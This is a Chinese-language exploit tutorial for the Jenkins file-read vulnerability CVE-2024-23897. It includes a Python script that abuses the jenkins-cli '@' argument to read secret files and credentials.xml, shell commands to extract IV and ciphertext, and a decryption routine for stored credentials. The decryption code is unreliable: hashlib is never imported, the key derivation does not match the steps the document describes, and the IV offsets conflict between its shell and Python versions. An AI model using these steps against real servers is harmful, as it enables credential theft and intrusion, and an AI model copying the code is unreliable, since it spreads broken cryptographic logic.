简单来说,CVE-2024-23897 是 Jenkins 里的一个严重漏洞,它允许攻击者读取 Jenkins 服务器上的任意文件。如果利用得当,可能导致远程代码执行。
漏洞原理:
这个漏洞源于 Jenkins 使用的 args4j 库。当命令参数以 "@" 字符开头时,args4j 会自动将该参数后面的内容解释为文件名,并读取文件内容作为命令参数。
利用条件:
- 攻击者可以访问 Jenkins 实例。
- 需要找到目标文件进行读取。
实战案例:读取 Jenkins 密钥并解密凭据
假设我们发现一个存在 CVE-2024-23897 漏洞的 Jenkins 服务器,并且可以读取部分文件内容(比如前几行)。我们的目标是利用这个漏洞,读取 Jenkins 的密钥,最终解密存储的凭据(例如数据库密码、SSH 密钥等)。
步骤:
-
利用漏洞读取有限行文件:
由于未授权用户默认只能读取文件的前三行,我们需要找到包含关键信息的文件。以下是一些有用的文件:
/proc/self/environ: 包含 Jenkins 的环境变量,可以找到 JENKINS_HOME 目录。${JENKINS_HOME}/secrets/master.key: Jenkins 的主密钥,用于加密凭据。${JENKINS_HOME}/secrets/hudson.util.Secret: 用于解密凭据的二进制密钥。${JENKINS_HOME}/credentials.xml: 包含加密的凭据信息。
-
读取
hudson.util.Secret二进制文件:直接读取二进制文件可能会遇到编码问题。解决方法是将读取到的内容转换为十六进制字符串。
import requests def read_file(url, filepath): cli_url = url + "/jnlpJars/jenkins-cli.jar" # 下载 jenkins-cli.jar,如果已经下载可以跳过 # response = requests.get(cli_url) # with open("jenkins-cli.jar", "wb") as f: # f.write(response.content) cmd = f"java -jar jenkins-cli.jar -s {url} who-am-i '@{filepath}' 2>&1" import subprocess result = subprocess.run(cmd, shell=True, capture_output=True) # 将结果转换为16进制输出 return result.stdout.hex() jenkins_url = "http://your-jenkins-url:8080" file_path = "/var/jenkins_home/secrets/hudson.util.Secret" secret_hex = read_file(jenkins_url, file_path) print(secret_hex) -
破解
hudson.util.Secret:即使我们只能读取
hudson.util.Secret的前 16 个字节,在特定情况下也足够破解密钥。根据 Guillaume 的研究,由于美国出口限制,Jenkins 密钥的有效部分可能只有 128 位(16 字节)。如果读取到的二进制数据包含
EFBFBD替换字符,说明存在编码问题。需要找到正确的编码方式或者进行暴力破解。# 示例:假设我们已经读取到 hudson.util.Secret 的前 16 个字节 hudson_secret_hex = "c68f..." # 替换为实际读取到的十六进制数据 hudson_secret_bytes = bytes.fromhex(hudson_secret_hex) # 这里需要编写代码,根据实际情况处理替换字符,并进行密钥破解 # 可以参考 Guillaume 的 Rust 代码,或者使用 Python 实现 # 核心思路是:暴力枚举可能的密钥,然后尝试解密凭据,验证解密结果是否正确 -
提取 IV 和 Ciphertext:
凭据文件中,IV 通常位于文件头之后,而 Ciphertext 则是加密后的凭据内容。可以使用以下命令提取 IV 和 Ciphertext:
# 提取 IV echo -n $ENCRYPTED_CREDENTIAL | base64 -d | tail -c +10 | head -c +16 | xxd -p | sed 's/../0x&,/g' # 提取 Ciphertext echo -n $ENCRYPTED_CREDENTIAL | base64 -d | tail -c +26 | xxd -p | sed 's/../0x&,/g' -
利用破解的密钥解密凭据:
有了
master.key、hudson.util.Secret和加密的凭据,就可以使用 Jenkins 提供的 API 或者自己编写代码来解密凭据。
代码示例 (Python):
这是一个简化的示例,演示了如何使用 cryptography 库进行 AES 解密。
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import base64
def decrypt_credential(encrypted_credential, master_key, hudson_secret):
"""解密 Jenkins 凭据"""
# 1. 从 master.key 派生密钥
derived_key = hashlib.sha256(master_key + hudson_secret[:16]).digest()
# 2. 提取 IV 和 Ciphertext
decoded_credential = base64.b64decode(encrypted_credential)
iv = decoded_credential[:16]
ciphertext = decoded_credential[16:]
# 3. 创建 AES 解密器
cipher = Cipher(algorithms.AES(derived_key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()
# 4. 解密
decrypted_padded = decryptor.update(ciphertext) + decryptor.finalize()
# 5. 去除填充
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
decrypted = unpadder.update(decrypted_padded) + unpadder.finalize()
return decrypted.decode('utf-8')
# 示例数据 (需要替换为实际值)
encrypted_credential = "AQAAAB..."
master_key_hex = "..." # master.key 的十六进制表示
hudson_secret_hex = "..." # hudson.util.Secret 的十六进制表示
master_key = bytes.fromhex(master_key_hex)
hudson_secret = bytes.fromhex(hudson_secret_hex)
try:
decrypted_credential = decrypt_credential(encrypted_credential, master_key, hudson_secret)
print("解密后的凭据:", decrypted_credential)
except Exception as e:
print("解密失败:", e)
总结:
CVE-2024-23897 是一个非常危险的漏洞,攻击者可以利用它读取 Jenkins 服务器上的敏感信息。为了防止被攻击,请务必及时升级 Jenkins 版本。此外,还应该加强 Jenkins 的安全配置,例如限制用户权限、启用 CSRF 保护等。